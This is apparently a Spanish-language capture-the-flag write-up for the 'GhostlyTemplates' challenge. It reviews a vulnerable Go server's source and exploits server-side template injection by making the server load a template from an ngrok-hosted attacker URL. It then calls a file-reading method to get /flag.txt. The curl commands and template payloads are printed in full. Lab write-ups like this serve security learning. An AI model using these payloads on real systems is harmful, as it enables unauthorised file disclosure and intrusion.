GhostlyTemplates
4 minutos de lectura
Se nos proporciona el siguiente sitio web:
También disponemos del código fuente en Go del servidor.
Análisis del código fuente
El archivo relevante es main.go
, que es un poco largo:
package main
import (
"encoding/json"
"fmt"
"html/template"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
)
const WEB_PORT = "1337"
const TEMPLATE_DIR = "./templates"
type LocationInfo struct {
Status string `json:"status"`
Country string `json:"country"`
CountryCode string `json:"countryCode"`
Region string `json:"region"`
RegionName string `json:"regionName"`
City string `json:"city"`
Zip string `json:"zip"`
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
Timezone string `json:"timezone"`
ISP string `json:"isp"`
Org string `json:"org"`
AS string `json:"as"`
Query string `json:"query"`
}
type MachineInfo struct {
Hostname string
OS string
KernelVersion string
Memory string
}
type RequestData struct {
ClientIP string
ClientUA string
ServerInfo MachineInfo
ClientIpInfo LocationInfo `json:"location"`
}
func GetServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
func (p RequestData) GetLocationInfo(endpointURL string) (*LocationInfo, error) {
resp, err := http.Get(endpointURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("HTTP request failed with status code: %d", resp.StatusCode)
}
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
var locationInfo LocationInfo
if err := json.Unmarshal(body, &locationInfo); err != nil {
return nil, err
}
return &locationInfo, nil
}
func (p RequestData) IsSubdirectory(basePath, path string) bool {
rel, err := filepath.Rel(basePath, path)
if err != nil {
return false
}
return !strings.HasPrefix(rel, ".."+string(filepath.Separator))
}
func (p RequestData) OutFileContents(filePath string) string {
data, err := os.ReadFile(filePath)
if err != nil {
return err.Error()
}
return string(data)
}
func readRemoteFile(url string) (string, error) {
response, err := http.Get(url)
if err != nil {
return "", err
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
return "", fmt.Errorf("HTTP request failed with status code: %d", response.StatusCode)
}
content, err := io.ReadAll(response.Body)
if err != nil {
return "", err
}
return string(content), nil
}
func getIndex(w http.ResponseWriter, r *http.Request) {
http.Redirect(w, r, "/view?page=index.tpl", http.StatusMovedPermanently)
}
func getTpl(w http.ResponseWriter, r *http.Request) {
var page string = r.URL.Query().Get("page")
var remote string = r.URL.Query().Get("remote")
if page == "" {
http.Error(w, "Missing required parameters", http.StatusBadRequest)
return
}
reqData := &RequestData{}
userIPCookie, err := r.Cookie("user_ip")
clientIP := ""
if err == nil {
clientIP = userIPCookie.Value
} else {
clientIP = strings.Split(r.RemoteAddr, ":")[0]
}
userAgent := r.Header.Get("User-Agent")
locationInfo, err := reqData.GetLocationInfo("https://freeipapi.com/api/json/" + clientIP)
if err != nil {
http.Error(w, "Could not fetch IP location info", http.StatusInternalServerError)
return
}
reqData.ClientIP = clientIP
reqData.ClientUA = userAgent
reqData.ClientIpInfo = *locationInfo
reqData.ServerInfo.Hostname = GetServerInfo("hostname")
reqData.ServerInfo.OS = GetServerInfo("cat /etc/os-release | grep PRETTY_NAME | cut -d '\"' -f 2")
reqData.ServerInfo.KernelVersion = GetServerInfo("uname -r")
reqData.ServerInfo.Memory = GetServerInfo("free -h | awk '/^Mem/{print $2}'")
var tmplFile string
if remote == "true" {
tmplFile, err = readRemoteFile(page)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
} else {
if !reqData.IsSubdirectory("./", TEMPLATE_DIR+"/"+page) {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
tmplFile = reqData.OutFileContents(TEMPLATE_DIR + "/" + page)
}
tmpl, err := template.New("page").Parse(tmplFile)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
err = tmpl.Execute(w, reqData)
if err != nil {
http.Error(w, "Internal Server Error", http.StatusInternalServerError)
return
}
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", getIndex)
mux.HandleFunc("/view", getTpl)
mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))
fmt.Println("Server started at port " + WEB_PORT)
http.ListenAndServe(":"+WEB_PORT, mux)
}
La función main
muestra los endpoints disponibles. El relevante es /view
, que nos permite renderizar plantillas locales y remotas.
Tener la capacidad de controlar las plantillas del lado del servidor no es seguro, porque los motores de plantillas proporcionan algunas funciones para interactuar con el código del servidor. En este contexto, podemos ejecutar código en Go (en cierto modo).
Una función que parece prometedora es GetServerInfo
:
func GetServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}
Ejecuta un comando de sistema arbitrario. Sin embargo, no podemos usarla directamente desde una plantilla. Las únicas funciones permitidas son métodos implementados por un objeto de tipo RequestData
debido a cómo se ejecuta la plantilla:
err = tmpl.Execute(w, reqData)
Solución
Por ejemplo, podemos usar lo siguiente para ver si funciona:
{{ . }}
{{ .ClientUA }}
{{ .ServerInfo.Hostname }}
Después de configurar ngrok
y un servidor HTTP con Python, obtendremos este resultado:
$ curl '94.237.51.75:31062/view?page=https://abcd-12-34-56-78.ngrok-free.app/solve.tpl&remote=true'
{10.30.18.78 curl/8.7.1 {ng-532274-webghostlytemplatesmp-wfngu-9f5b87674-9sgwt
Alpine Linux v3.18
6.1.0-10-amd64
7.7G
} { - - 0 0 - }}
curl/8.7.1
ng-532274-webghostlytemplatesmp-wfngu-9f5b87674-9sgwt
Entonces, vemos que estamos usando la plantilla correctamente. Para obtener la flag, en lugar de usar GetServerInfo
, podemos emplear OutFileContents
, ya que se implementa en objetos de tipo RequestData
:
func (p RequestData) OutFileContents(filePath string) string {
data, err := os.ReadFile(filePath)
if err != nil {
return err.Error()
}
return string(data)
}
Entonces, podemos usar esta plantilla para leer la flag:
{{ .OutFileContents "/flag.txt" }}
Flag
El payload de la plantilla anterior nos dará la flag:
$ curl '94.237.51.75:31062/view?page=https://abcd-12-34-56-78.ngrok-free.app/solve.tpl&remote=true'
HTB{t3mpl14t35_c4us3_p41n_4nd_f1l35_1nclud3s!}